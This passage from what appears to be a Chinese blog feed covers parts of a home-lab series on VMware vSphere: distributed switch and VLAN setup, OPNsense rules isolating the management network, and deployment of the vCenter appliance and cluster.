的上行。</p><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-04-network/20260625142559422.png" alt=""></p><div class="note warning flat"><p>指派上行前务必认准哪块是 <code>vmnic1</code>：它是当前<strong>未被 vSwitch0 占用</strong>的那块（vSwitch0 上是 <code>vmnic0</code>）。指错成 <code>vmnic0</code> 会把管理网卡从标准交换机上拽走，直接断管理。每台主机在 <code>Configure → Networking → Physical adapters</code> 里能看清 <code>vmnic0</code>/<code>vmnic1</code> 各自的连接。</p></div><h2 id="7-验证">7 验证</h2><div class="note success flat"><ol><li><strong>vDS 拓扑正确</strong>：<code>YX-vDS01</code> 的 <code>Configure → Topology</code> 里，三台主机各有一块 <code>vmnic1</code> 接在 <code>Uplink 1</code>、链路 up；五个端口组在列、<code>VLAN ID</code> 与上表一致。</li><li><strong>管理网未受影响</strong>：三台主机仍 <code>Connected</code>，<code>vmnic0</code> / vSwitch0 / 管理网照旧。</li><li><strong>端口组安全策略保持默认</strong>：五个端口组的 <code>Security</code> 维持新建默认（本实验为三项 <code>Reject</code>），本篇无需放开——普通单 MAC VM 不受影响（见 §5）。</li></ol></div><p>要做一次<strong>端到端的 VLAN 连通验证</strong>（推荐，能一次性证明 VLAN 标签贯通 + 普通 VM 连通性），可临时建一台小虚拟机：放到 <code>YX-Server</code>（VLAN 40），给它 <code>10.0.40.0/24</code> 段的地址（如 <code>10.0.40.100</code>、网关 <code>10.0.40.1</code>），开机后 ping 网关 <code>10.0.40.1</code>。能通，就说明 vDS 在 <code>vmnic1</code> 上打的 VLAN 40 标签顺着 VMnet3 干道到了 OPNsense 的 VLAN 40 接口、且端口组策略没有影响普通 VM 的基础连通性。验证完删掉即可。若不想现在建测试机，这条留到第八篇域控接入 <code>YX-Server</code> 时自然会被验证。</p><p>需要说明的是：普通单 MAC 的测试机能通，只验证了 VLAN 链路与普通 VM 的连通，并不能证明多 MAC 场景的安全策略「到位」——因为普通 VM 本就不依赖 <code>Promiscuous mode</code> / <code>Forged transmits</code> / <code>MAC address changes</code>（见 §5）。多 MAC 端口组的策略是否生效，要等真有虚拟防火墙 / 路由器 / 再嵌套这类负载接入时才谈得上验证。</p><div class="note info flat"><p>vDS 自带的 <code>Health Check</code>（VLAN/MTU 检查）在物理环境里很好用，但它依赖上联物理交换机的配合；我们的「上联」是 Workstation 的 VMnet，嵌套下未必给出有意义的结果，故以上面的测试机连通法作为本篇的功能判据更可靠。</p></div><h2 id="8-管理网隔离：受控出站-拒绝入站">8 管理网隔离：受控出站 + 拒绝入站</h2><p>VLAN 一划出来，各网段有了明确边界，正好把管理网的安全姿态收一收。原则一句话：<strong>管理网能主动够到它需要的外部资源（受控出站），但外部 / 其它网段不能主动发起连到管理网（拒绝入站）。</strong> 这正是有状态防火墙（stateful firewall）的天然姿态——管理主机自己发起的会话，其回包算「已建立连接」放行；互联网或它段凭空发起、试图连管理口的包，命不中任何会话，被默认拒绝。所以「受控出站」与「拒绝外部主动访问」并不矛盾。</p><p>管理网是整套环境最敏感的面，拿下它等于拿下一切，因此这层隔离在生产里是硬要求。落到 OPNsense（<code>yx-fw01</code>）上分两头做。</p><p>动手前先在 <code>Firewall → Aliases</code> 把别名建齐，规则一律引用别名而非裸地址——日后扩展网段或端口只需维护别名，不必逐条改规则：</p><table><thead><tr><th>Name</th><th>Type</th><th>Content</th></tr></thead><tbody><tr><td><code>MGMT_NET</code></td><td>Network(s)</td><td><code>10.0.10.0/24</code></td></tr><tr><td><code>SERVER_NET</code></td><td>Network(s)</td><td><code>10.0.40.0/24</code></td></tr><tr><td><code>CLIENT_NET</code></td><td>Network(s)</td><td><code>10.0.60.0/24</code></td></tr><tr><td><code>FW_MGMT_IP</code></td><td>Host(s)</td><td><code>10.0.10.1</code></td></tr><tr><td><code>MGMT_TO_FW_PORTS</code></td><td>Port(s)</td><td><code>22</code>、<code>53</code>、<code>123</code>、<code>443</code></td></tr><tr><td><code>WEB_PORTS</code></td><td>Port(s)</td><td><code>80</code>、<code>443</code></td></tr></tbody></table><div class="note warning flat"><p>为什么端口也要做别名：OPNsense 规则的端口字段是 <code>Single port or range</code>，<strong>一次只能填一个端口或一段连续范围</strong>，填不了 <code>22,53,123,443</code> 这种离散列表。所以离散端口必须先做成 <code>Port(s)</code> 类型的别名，规则里再引用。端口别名里<strong>只填端口号、不带协议</strong>；TCP/UDP 的区分在规则的 <code>Protocol</code> 字段选。</p></div><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-04-network/20260625161245082.png" alt=""></p><p><strong>其一，出站收敛（在 <code>LAN</code>／管理网接口，<code>Direction = in</code>）。</strong> 这里的「出站」是从管理网主机视角说的；从 OPNsense 视角看，数据包是从 <code>LAN</code> 接口<strong>进入</strong>防火墙的，因此接口规则应匹配 <code>in</code> 方向（这也是 OPNsense 的默认——在流量来源接口上写入向规则，回包由 state 自动放行）。<strong>别写成 <code>out</code></strong>：<code>out</code> 匹配的是防火墙往管理网方向发出的流量，而非管理主机发起的流量，规则会匹配不到、表现得很迷惑。</p><p>现状是一条 <code>Default allow LAN to any</code> 全放。把它换成下面这组精确规则，自上而下、首条匹配，其余由隐式拒绝兜底：</p><table><thead><tr><th>#</th><th>Protocol</th><th>Source</th><th>Src Port</th><th>Destination</th><th>Dst Port</th><th>动作</th><th>用途</th></tr></thead><tbody><tr><td>1</td><td><code>TCP/UDP</code></td><td><code>MGMT_NET</code></td><td>（空）</td><td><code>FW_MGMT_IP</code></td><td><code>MGMT_TO_FW_PORTS</code></td><td>pass</td><td>向本地 OPNsense 取 DNS/NTP，并保留对防火墙的 GUI/SSH 管理</td></tr><tr><td>2</td><td><code>any</code></td><td><code>MGMT_NET</code></td><td>（空）</td><td><code>SERVER_NET</code>、<code>CLIENT_NET</code></td><td>（空）</td><td>pass</td><td>跨段——第八篇 vCenter/主机找域控等</td></tr><tr><td>3</td><td><code>TCP</code></td><td><code>MGMT_NET</code></td><td>（空）</td><td><code>any</code></td><td><code>WEB_PORTS</code></td><td>pass</td><td>仅放补丁 / vLCM depot / 可选 CEIP·遥测的 HTTP/HTTPS</td></tr><tr><td>—</td><td>—</td><td><code>MGMT_NET</code></td><td>—</td><td><code>any</code></td><td>—</td><td>（隐式 deny）</td><td>其余出站一律拒绝</td></tr></tbody></table><div class="note warning flat"><ul><li><strong><code>Source Port</code> 一律留空。</strong> 源端口是客户端的临时高位端口（随机），不该限定。若把目的端口也填进 <code>Source Port</code>，规则几乎永远匹配不到、等于失效。<strong>只在 <code>Dst Port</code> 限定端口。</strong></li><li><strong><code>Protocol</code> 别用 <code>any</code>。</strong> 端口只对 TCP/UDP 有意义；<code>Protocol = any</code> 时目的端口字段不生效，规则 1/3 就退化成「放行管理网到目标的所有协议」，端口限制白做。所以规则 1 选 <code>TCP/UDP</code>、规则 3 选 <code>TCP</code>；规则 2 本就要放整段跨段流量、不限端口，才保持 <code>any</code>。</li></ul></div><p>这里的「可路由的内部网段」只指经 OPNsense 路由、有网关的段（当前是 <code>SERVER_NET</code>、<code>CLIENT_NET</code>）。<code>vMotion</code>（<code>10.0.20.0/24</code>）、<code>vSAN</code>（<code>10.0.30.0/24</code>）、<code>Storage</code>（<code>10.0.50.0/24</code>）按第一篇的规划是<strong>无网关、不路由的纯二层专用网段</strong>，不要把它们加进这条 routed 规则——它们既不经 OPNsense 转发，也不该出网。</p><p>这里还有个值得点出的便利：<strong>因为 DNS 与 NTP 都由管理网内的 OPNsense 就地提供（主机的 DNS/NTP 都指 <code>10.0.10.1</code>），管理主机根本不必为这两样直连互联网</strong>，于是「出站到互联网」的必需面收得极干净，基本只剩 HTTPS。</p><p><strong>其二，拒绝入站（在各「下游」接口）。</strong> 互联网→管理网本就被 WAN 默认拒绝 + 无端口转发挡着，无需额外动作。真正要补的是<strong>其它内部网段→管理网</strong>：第一篇给 <code>SERVER</code>、<code>CLIENT</code> 接口建的是 <code>源网段 → any</code> 的放行，而 <code>any</code> 把管理网也包含进去了——业务/客户端此刻仍能主动进管理网。</p><p>要各加一条 <code>block</code>、destination = <code>MGMT_NET</code>。这里有个关键、也最容易摆错的地方：</p><div class="note warning flat"><p><strong><code>block</code> 必须建在「流量进入防火墙的那个接口」上，不是建在管理网（LAN）接口上。</strong> 业务/客户端去打管理网，流量是从 <code>SERVER</code> 接口、<code>CLIENT</code> 接口<strong>进来</strong>的，所以这两条 block 要分别落在 <code>SERVER</code> 接口、<code>CLIENT</code> 接口、方向 <code>in</code>，且<strong>排在该接口 <code>→ any</code> 放行规则之上</strong>（OPNsense 首条匹配）。若错把它们建在 <code>LAN</code> 接口、方向 <code>in</code>，匹配的是「从管理网进来」的流量，而 source 又是业务/客户端网段，永远匹配不到、等于没建。挂在入口接口入向时，source 用 <code>MGMT_NET</code> 取反或直接用 <code>*</code> 皆可——进来的本就是本网段流量。</p></div><p>无需再加一条显式的「全 block」兜底——OPNsense 接口规则本就有隐式默认拒绝，出站表里没被前面放行命中的、入站没被放行命中的，都会被它拦下。多加一条 destination = <code>any</code> 的全 block 反而有风险：一旦位置被挪到放行之上，会把整段流量打死。</p><p>这样就形成了刻意的不对称：<strong>管理网能向下够到它管理的网段（规则 2），下游网段却不能向上够到管理网</strong>——管理面只出不进，攻击面最小，而靠有状态连接跟踪，管理网发起的跨段会话回包照常放行。</p><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-04-network/20260625161209330.png" alt=""></p><div class="note primary flat"><p><strong>生产环境对照</strong>：本节这套正是生产里管理网隔离的缩影——入站默认拒绝、出站只放必需目标，且外部依赖（时间、名称解析、补丁/镜像、遥测）尽量走内部源/镜像/代理，访问入口收敛到跳板机或 VPN。我们让出站直连互联网取 HTTPS，已是为实验便利做的让步；更忠实的做法是连这一步也走内部 vLCM 仓库（depot）与出站代理。</p></div><div class="note warning flat"><p>收敛到必需端口的代价，是「按需加规则」：若第八篇 vLCM depot 或别的来源临时要走 <code>443</code>/<code>80</code> 之外的端口，得回来在规则 3 旁补一条。另外，NTP 的归属会变——现在指 <code>10.0.10.1</code>（规则 1 覆盖），第九篇 AD 接管 NTP 后时间源转到业务网的域控，靠规则 2 的跨段放行即可，届时规则 1 里的 <code>123</code> 可收掉。</p></div><p><strong>验证</strong>：在任一台 ESXi 上，仍能解析域名、对 <code>10.0.10.1</code> 取到 NTP（规则 1）；仍能经 <code>443</code> 出网（如 CEIP/在线检查）；管理网 ping 业务网网关 <code>10.0.40.1</code> 应通（规则 2 + 有状态回包）。而「业务/客户端→管理网应被拒」这一条，此刻业务网还没主机、不好直接测，可留到第八篇域控就位后自然验证。</p><h2 id="结语">结语</h2><p>到这里，砚行物流的业务网络从「每台各扫门前雪」的标准交换机，进阶到了一台集群级的分布式交换机：各业务 VLAN 在 <code>YX-vDS01</code> 上一次定义、处处一致，那根挂了三篇的干道 <code>vmnic1</code> 也终于扛上了活——而管理网仍稳稳留在原来的标准交换机上，两者并行不悖。顺带，管理网收成了「只出不进、受控出站」的隔离姿态，给整套平台的安全底盘补上了关键一块。</p><p>下一篇进入<strong>存储</strong>：用三台主机的本地盘聚合出 vSAN 这套分布式共享存储，并把 vCenter 篇中还寄居在 <code>esxi01-local</code> 上的 VCSA，正式 Storage vMotion 迁到 vSAN 上——自举留下的那条临时本地盘，到那时就能回收了。</p><!-- flag of hidden posts -->]]>
    </content>
    <id>https://www.catwhiteangel.com/enterprise-vsphere-lab-04-network/</id>
    <link href="https://www.catwhiteangel.com/enterprise-vsphere-lab-04-network/"/>
    <published>2026-06-25T00:55:00.000Z</published>
    <summary>从标准交换机迁移至分布式交换机（vDS）：创建横跨集群的 vDS，把预留的第二块上行链路纳入中继干道，按规划划分业务 VLAN，并顺势完成管理网隔离，含迁移过程中避免管理网中断的注意事项。</summary>
    <title>从零搭建企业虚拟化平台4——网络进阶：引入 vDS 与 VLAN 划分</title>
    <updated>2026-06-25T00:55:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>还魂灵猫</name>
    </author>
    <category term="Virtualization" scheme="https://www.catwhiteangel.com/categories/Virtualization/"/>
    <category term="vSphere Lab" scheme="https://www.catwhiteangel.com/categories/Virtualization/vSphere-Lab/"/>
    <category term="VMware" scheme="https://www.catwhiteangel.com/tags/VMware/"/>
    <category term="vSphere" scheme="https://www.catwhiteangel.com/tags/vSphere/"/>
    <category term="vCenter" scheme="https://www.catwhiteangel.com/tags/vCenter/"/>
    <content>
      <![CDATA[<h1>从零搭建企业虚拟化平台3——vCenter 与集群：部署 VCSA 与组建集群</h1><div class="note info flat"><p><strong>📚 从零搭建企业虚拟化平台 · 全系列导航</strong></p><ul><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-00-prologue/">平台0 · 序章：缘起与全局规划</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-01-environment/">平台1 · 环境：OPNsense 与网段搭建</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-02-esxi/">平台2 · 计算：三台嵌套 ESXi</a></li><li><strong>平台3 · vCenter：部署与建集群　← 本篇</strong></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-04-network/">平台4 · 网络：vDS 与端口组</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-05-storage/">平台5 · 存储：vSAN 全闪</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-06-ha-drs/">平台6 · 高可用：HA 与 DRS</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-07-ad-dns/">平台7 · 身份：AD 域控与 DNS</a></li><li><a href="https://www.catwhiteangel.com/enterprise-vsphere-lab-08-ntp-wrapup/">平台8 · 收尾：时间同步、vLCM 与全系列回顾</a></li></ul></div><p>上一篇把三台嵌套 ESXi 立了起来：评估模式、正反向解析、时间对齐、二层安全策略也提前放开。但此刻它们还是三台<strong>各自为政</strong>的主机——Host Client 一次只能管一台，集群、HA、DRS、vMotion、vSAN 这些本系列真正要的能力，一个都还谈不上。</p><p>这一篇就来补上控制面：部署 vCenter Server（以 VCSA 形式），把三台主机收编进一个数据中心与集群之下。这里有个前三篇没正面处理、却绕不过去的坎——<strong>VCSA 要落在哪块存储上</strong>：三台主机现在只有 32 GB 启动盘，而 vSAN 又排在更后面，于是出现一个典型的「先有鸡还是先有蛋」。本篇会把它讲透。</p><span id="more"></span><h2 id="1-先认识-vCenter：为什么集群非它不可">1 先认识 vCenter：为什么集群非它不可</h2><p>把三台 ESXi 串成一个有高可用、能调度的集群，靠的不是主机之间「自发组队」，而是一个统一的控制面——vCenter Server。它持有整套环境的清单（inventory）、单点登录（SSO）、权限、任务与告警，也是 HA、DRS、vMotion、vSAN 这些集群级特性的<strong>唯一</strong>配置入口。没有它，三台主机就只是三台孤立的 hypervisor。这也正是上一篇坚持用评估模式、而非免费版的根本原因：免费版接不进 vCenter。</p><p>本篇落地三件事：部署 VCSA、创建一个数据中心（Datacenter）对象、创建一个集群（Cluster）对象并把三台主机纳入。集群的网络进阶（分布式交换机 vDS）、存储（vSAN）、以及 HA/DRS 的实际调优，分别留到后面第五、六、七篇——本篇先把「骨架」搭起来：数据中心与集群对象先建好，HA、DRS、vSAN 等功能开关暂不启用，等后续对应篇章再逐一打开。</p><div class="note info flat"><p><strong>vCenter 与 ESXi 的分工，以及一个绕不开的自举（bootstrap）事实。</strong> ESXi 是真正跑虚拟机的 hypervisor；vCenter 是管理这些 hypervisor 的控制面，它本身也是一台虚拟机（VMware 把它打包成一个基于 Photon OS 的设备，称作 vCenter Server Appliance，VCSA）。在我们这套单机全虚拟环境里，VCSA 这台 VM 将运行在 <code>yx-esxi01</code> 上——也就是说，它运行在自己即将纳管的那台主机之上。这在生产里要尽量规避，但在实验室里是常态，vCenter 完全可以纳管承载着它自己的那台主机，后文会专门点出这一点。</p></div><h2 id="2-部署前扫清三个前提：DNS、时间、存储">2 部署前扫清三个前提：DNS、时间、存储</h2><p>VCSA 的安装器对环境是「挑食」的，前提没备齐，它会在中途停下，且报错往往指不到根因。动手前先把下面三件事确认到位。</p><p><strong>其一，正反向 DNS。</strong> 这是 VCSA 安装失败最常见的单一原因。安装器会校验 vCenter 自身的 FQDN 能否被正向（名字 → 地址）与反向（地址 → 名字）同时解析，缺一不可。<code>yx-vc01</code>（<code>10.0.10.20</code>）这条 A + PTR 记录，第二篇的前置工作里已经在 OPNsense 的 Unbound 上建好了。现在在宿主上复核一遍再开工：</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">nslookup yx<span class="literal">-vc01</span>.corp.yanxing.internal <span class="number">10.0</span>.<span class="number">10.1</span></span><br><span class="line">nslookup <span class="number">10.0</span>.<span class="number">10.20</span> <span class="number">10.0</span>.<span class="number">10.1</span></span><br></pre></td></tr></table></figure><p>前者应只返回 <code>10.0.10.20</code>，后者应解析回 <code>yx-vc01.corp.yanxing.internal</code>。</p><div class="note warning flat"><p>若正向能解析、反向却不行（或反过来），安装器会在「配置网络」一步拒绝继续，提示 FQDN 与 IP 对不上之类的话——别去怀疑 IP 填错了，回到 OPNsense 的 <code>Services → Unbound DNS → Overrides</code>，确认 <code>yx-vc01</code> 那条记录勾了 <code>Add PTR record</code>。这是「配好了却不通」类故障，正向单测往往会骗过你。</p></div><p><strong>其二，时间。</strong> VCSA 与承载它的主机时钟必须一致，否则证书与服务启动都会出问题。<code>yx-esxi01</code> 的 NTP 在上一篇已指向 <code>10.0.10.1</code> 并同步；VCSA 自己稍后也会在安装阶段配上同一个 NTP 源。这一步无需额外动作，确认 esxi01 的时间正确即可。</p><p><strong>其三，存储——本篇真正要解决的坎。</strong> VCSA 即便是最小的 <code>Tiny</code> 规格，标称存储也要约 579 GB；而三台 ESXi 现在每台只有一块 32 GB 启动盘，装完系统分区后几乎不剩可用的 datastore，根本放不下 VCSA。本该承载它的共享存储 vSAN，又排在第六篇——在 vCenter 之后。这就是单机全虚拟环境特有的自举难题：<strong>vSAN 要靠 vCenter 来配，vCenter 又要先有地方落脚。</strong></p><p>解法是先给 <code>yx-esxi01</code> 单独加一块**精简置备（thin）**的本地盘，起一个临时本地 datastore 把 VCSA 装上去；等第六篇 vSAN 建好，再用 Storage vMotion 把 VCSA 无中断迁到 vSAN 上、回收这块临时盘。</p><p>具体操作：在 Workstation 里给 <code>yx-esxi01</code> 这台虚拟机<strong>添加一块硬盘</strong>，容量 <code>600 GB</code>，模式选<strong>精简置备 / 不预分配</strong>（即不勾「立即分配所有磁盘空间」）。精简置备意味着这 600 GB 只是上限，宿主 NVMe 上的实际占用会随写入逐步增长，初期只有几十 GB，不会真吃掉 600 GB。</p><p>加盘后开机进 esxi01 的 Host Client，<code>Storage</code> → <code>Datastores</code> → <code>New datastore</code> → <code>Create new VMFS datastore</code>，选中刚加的那块约 600 GB 的设备，命名 <code>esxi01-local</code>，文件系统用默认的 <code>VMFS 6</code>、占满整盘，完成。</p><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-03-vcenter/20260625005841853.png" alt=""></p><div class="note warning flat"><p>这块临时盘只加给 <code>yx-esxi01</code>——只有它要承载 VCSA。<code>esxi02</code>、<code>esxi03</code> 暂时不需要额外存储，等第六篇做 vSAN 时再统一给三台加缓存盘与容量盘。本篇不要去动另外两台的磁盘。</p></div><div class="note primary flat"><p><strong>生产环境对照</strong>：真实环境里 vCenter 从第一天起就落在共享存储上，而且是<strong>分离部署</strong>的——这套分离，正是我们这台寄居在 <code>yx-esxi01</code> 本地盘上的 VCSA 所欠缺的。</p><p>通常的做法是单独划出一个<strong>管理集群（management cluster）</strong>，专门承载 vCenter、NSX Manager、监控与备份等控制面组件，与跑业务负载的**工作负载集群（workload cluster）**在主机、存储、网络上都分开。vCenter 不寄居在它所纳管的工作负载主机里，故障域彼此隔离。</p><p>控制面自身的高可用分两层。其一，VCSA 放在管理集群的**共享存储（SAN / vSAN）**上，承载它的主机一旦宕机，<strong>vSphere HA</strong> 会在管理集群的另一台主机上自动把它重启起来——这是本地盘做不到的（主机没了，盘上的 VCSA 也一起没了）。其二，在这种「重启级」保护之上，还可启用 <strong>vCenter HA（VCHA）</strong>：把 VCSA 做成 <code>Active</code> / <code>Passive</code> / <code>Witness</code> 三节点，分布在不同主机（理想情况下也用不同存储），经一条专用 VCHA 网络同步状态；主节点故障时被动节点接管，提供 vCenter 服务层面的更快故障切换，而非仅靠整机重启。</p><p>这里要点破一个看似矛盾的地方：管理集群的 vCenter，管的就是它自己所在的那个集群——这完全正常、且受支持。不构成死锁的原因在于，<strong>vSphere HA 的故障切换是各 ESXi 主机上的 FDM（Fault Domain Manager）代理自己执行的，并不依赖 vCenter</strong>：vCenter 只负责把 HA 配好，配完之后即便它自己宕了，承载它的主机一旦挂掉，管理集群里另一台主机也照样能把 VCSA 重启起来——救它的是主机，不是它自己。（相较之下，DRS 的自动均衡确实要 vCenter 在线，但 HA 重启不要；所以 vCenter 宕机的窗口里，自我保护成立、自我调度暂停，够用。）也正因如此，VCF 里真正「自管」的只有最底层的管理域 vCenter；各工作负载域的 vCenter 则自己在管理域、管的是别处的工作负载集群。</p><p>还有一条贯穿性原则：<strong>刻意避免循环依赖</strong>——不让 vCenter 的恢复路径依赖它自己管理的那套集群、存储与身份（这与第一篇域控那段「AD 挂掉 → 登不进 vCenter → 修不了 AD」是同一类问题）。正因如此，即便在 VMware Cloud Foundation 这类自动化部署里，引导顺序也是先由 Cloud Builder 立起<strong>管理域（management domain）</strong>——第一套集群 + vCenter + NSX 落在管理域的共享存储上，之后再创建工作负载域。换言之，生产里同样有「引导」，但引导目标是专用管理集群的共享存储，而非某台工作负载主机的本地盘。</p><p>我们这套单机环境把以上全部折叠进一台笔记本：VCSA 寄居在 <code>yx-esxi01</code> 的本地盘、与它纳管的「集群」是同一批主机、也没有第二个节点兜底——这正是实验室最大的单点。其中哪些可由 vSphere HA 部分补救、哪些是单机注定无解的，留到第七篇讲 HA 时再回看。</p></div><h2 id="3-部署-VCSA（两阶段安装）">3 部署 VCSA（两阶段安装）</h2><p>VCSA 的安装介质与上一篇 ESXi 同源——在 Broadcom 支持门户下载 <strong>vCenter Server</strong> 的安装 ISO（文件名形如 <code>VMware-VCSA-all-8.0U3*-*.iso</code>），同样需要你账号下的评估 / 个人实验室授权权益。vCenter 部署完成后会自动进入 60 天评估模式，本篇不贴任何 license。</p><p><strong>本篇使用VMware-VCSA-all-8.0.3-25413364.iso</strong></p><p>把 ISO 在 Windows 宿主上装载（双击挂为虚拟光驱），运行其中的 <code>vcsa-ui-installer\win32\installer.exe</code>，选 <code>Install</code>。安装分两个阶段：先把设备这台 VM 部署出来，再对它做初始化配置。</p><p><strong>Stage 1：Deploy（部署设备）</strong></p><p>逐页填写，关键项如下（其余保持默认）：</p><ul><li><code>End User License Agreement</code>：接受。</li><li><code>vCenter Server deployment target</code>：填<strong>承载主机</strong>，即 <code>yx-esxi01</code>——<code>ESXi host or vCenter Server name</code> 填 <code>10.0.10.11</code>，<code>HTTPS port</code> 默认 <code>443</code>，<code>User name</code> 填 <code>root</code>、<code>Password</code> 填该主机 root 密码。出现证书指纹警告点 <code>Yes</code> 接受。</li><li><code>Set up vCenter Server VM</code>：<code>VM name</code> 填 <code>yx-vc01</code>，并为设备本身设置 <code>root</code> 密码（这是 VCSA 这台设备的操作系统密码，与 SSO 管理员密码是两回事）。</li><li><code>Select deployment size</code>：<code>Deployment size</code> 选 <code>Tiny</code>，<code>Storage size</code> 选 <code>Default</code>。</li><li><code>Select datastore</code>：选刚建的 <code>esxi01-local</code>，<strong>勾上 <code>Enable Thin Disk Mode</code></strong>——这样 VCSA 的虚拟磁盘按精简置备，配合 Workstation 那块精简盘，实际占用降到最低。</li><li><code>Configure network settings</code>：<ul><li><code>Network</code>：选主机上的 <code>VM Network</code>（vSwitch0 上的默认 VM 端口组，位于管理网）。</li><li><code>IP version</code>：<code>IPv4</code>；<code>IP assignment</code>：<code>static</code>。</li><li><code>FQDN</code>：<code>yx-vc01.corp.yanxing.internal</code></li><li><code>IP address</code>：<code>10.0.10.20</code></li><li><code>Subnet mask or prefix length</code>：<code>24</code></li><li><code>Default gateway</code>：<code>10.0.10.1</code></li><li><code>DNS servers</code>：<code>10.0.10.1</code></li></ul></li><li><code>Ready to complete stage 1</code>：核对无误后 <code>Finish</code>，安装器开始把设备部署到 <code>yx-esxi01</code>。</li></ul><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-03-vcenter/20260625010459204.png" alt=""></p><div class="note info flat"><p><strong>这是第一台「内层 VM」。</strong> VCSA 的网卡接在 <code>yx-esxi01</code> 的 <code>VM Network</code> 上，流量走 vSwitch0 → <code>vmnic0</code> → VMnet2 → 管理网。它带着自己的 MAC（不同于 vmnic0），正是上一篇我们提前把 vSwitch0 的二层安全策略放开所要照顾的那类流量。所以这台设备一部署出来，网络就该是通的。</p></div><p><strong>Stage 2：Set up（初始化配置）</strong></p><p>Stage 1 完成后接着进入 Stage 2（若中途关了窗口，浏览器访问 <code>https://10.0.10.20:5480</code> 也能续上）：</p><ul><li><code>vCenter Server configuration</code>：<ul><li><code>Time synchronization mode</code>：选 <code>Synchronize time with NTP servers</code>，<code>NTP servers</code> 填 <code>10.0.10.1</code>。</li></ul></li><li><code>SSH access</code>：选 <code>Activated</code>。一来实验室排错方便；二来它也是启用 vCenter HA（VCHA）的前提——界面会就此给出提示，正呼应 §2 生产环境对照里讲的 VCHA。本系列不配 VCHA，开着也无妨。</li><li><code>SSO configuration</code>：选 <code>Create a new Single Sign-On domain</code>：<ul><li><code>Single Sign-On domain name</code>：<code>vsphere.local</code></li><li><code>Single Sign-On user name</code>：<code>administrator</code>（即登录账号 <code>administrator@vsphere.local</code>）</li><li>设置 SSO 管理员密码。</li></ul></li><li><code>Configure CEIP</code>：客户体验改进计划，按需勾选。</li><li><code>Ready to complete</code>：<code>Finish</code>，设备开始初始化服务，耐心等其跑完。</li></ul><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-03-vcenter/20260625011653762.png" alt=""></p><p>完成后，优先用浏览器访问 <code>https://yx-vc01.corp.yanxing.internal/ui</code>，用 <code>administrator@vsphere.local</code> 登录 vSphere Client；<code>https://10.0.10.20/ui</code> 可作为 DNS 排错时的临时访问方式。养成用 FQDN 管 vCenter 的习惯，与前面强调的正反向解析、证书是一脉相承的。</p><p><img src="https://img.gulugulublog.com/posts/enterprise-vsphere-lab-03-vcenter/20260625012644500.png" alt=""></p><div class="note info flat"><p><strong>SSO 域为什么用 <code>vsphere.local</code>、而不是 AD 的 <code>corp.yanxing.internal</code>。</strong> vCenter 的 SSO 域是它自己的内置身份源，独立于 Windows 域。把两者取成同一个名字是 VMware 明确不建议的做法，会埋下解析与信任上的混淆。正确的关系是：SSO 域保持独立的 <code>vsphere.local</code>，而 AD（<code>corp.yanxing.internal</code>）将来作为<strong>外部身份源</strong>接入 vCenter——那一步留到第八篇域控就位后再做。本篇先用 SSO 本地管理员把平台跑起来。</p></div><div class="note warning flat"><p>两阶段里最容易卡的仍是 Stage 1 的网络页：FQDN 必须能被正反向解析（见 §2），否则 <code>Finish</code> 之后会在部署或初始化阶段失败。其次是存储——若没勾 <code>Enable Thin Disk Mode</code>、或 datastore 容量不足 579 GB，安装器会直接拦下。这两点确认好，整个流程基本一次过。</p></div><h2 id="4-组建数据中心与集群">4 组建数据中心与集群</h2><p>登进 vSphere Client，此刻清单里还空着，只有一个 vCenter 根节点。按「数据中心 → 集群 → 加入主机」的顺序搭起来。</p><p><strong>创建数据中心。</strong> 右键 vCenter 根节点 → <code>New Datacenter</code>，命名 <code>YX-Datacenter</code>。数据中心是清单里的顶层容器，把同属一处的主机、存储、网络归在一起。</p><p><strong>创建集群。</strong> 右键 <code>YX-Datacenter</code> → <code>New Cluster</code>，命名 <code>YX-Cluster01</code>。vSphere 8 在这一步会列出几个开关：<code>vSphere HA</code>、<code>vSphere DRS</code>、<code>vSAN</code>，以及 <code>Manage all hosts in the cluster with a single image</code>（即 vLCM 镜像式生命周期管理）。<strong>本篇全部保持关闭</strong>：</p><ul><li>HA、DRS 留到第七篇专门配置与演示故障切换。</li><li>vSAN 留到第六篇构建。</li><li>单一镜像（<code>Manage all hosts in the cluster with a single image</code>，即 vLCM image）这一项也先不开。需说明的是，它其实是 vSphere 8 新建集群的<strong>默认</strong>选项，也是 vSphere 9 起<strong>唯一</strong>的生命周期管理模式（旧的 baseline / VUM 已被移除）——本系列并非否定它，而是刻意延后到收尾篇统一讲：届时把集群转换为单一镜像、设定期望 ESXi 版本与组件，并演示合规检查与滚动修复。之所以延后，是因为滚动修复要想做得接近生产形态，至少需要共享存储、vMotion 网络与足够的主机资源；DRS 就位后，疏散与放置也更接近真实环境。当前 VCSA 还寄居在 <code>yx-esxi01</code> 的本地 datastore 上，若此时直接演示 remediation，既不优雅，也容易把生命周期管理与自举临时状态混在一起。</li></ul><p>集群此刻只是个空壳，开关空着不影响后续逐一启用。</p><div class="note primary flat"><p><strong>生产环境对照</strong>：<code>Manage all hosts with a single image</code> 在生产里恰恰是推荐做法——vLCM 以一份「期望镜像」（ESXi 版本 + 驱动 + 固件基线）统一约束集群内所有主机，杜绝版本漂移，升级也以集群为单位滚动进行。这正是上一篇提到的「裸金属用 vLCM 管理生命周期」，而到 vSphere 9 它已是唯一的生命周期模式。我们这里只是延后、并非跳过：收尾篇会把集群转过去并演示合规与滚动修复。需诚实指出的是，期望镜像中最具企业含金量的<strong>固件 / 驱动 add-on</strong> 依赖硬件厂商的 Hardware Support Manager 插件，嵌套虚拟主机没有物理硬件、也就没有这一层，届时只能演示 ESXi 版本 + 组件 + 合规 + 修复这半套。</p></div><p><strong>把三台主机加入集群。</strong> 右键 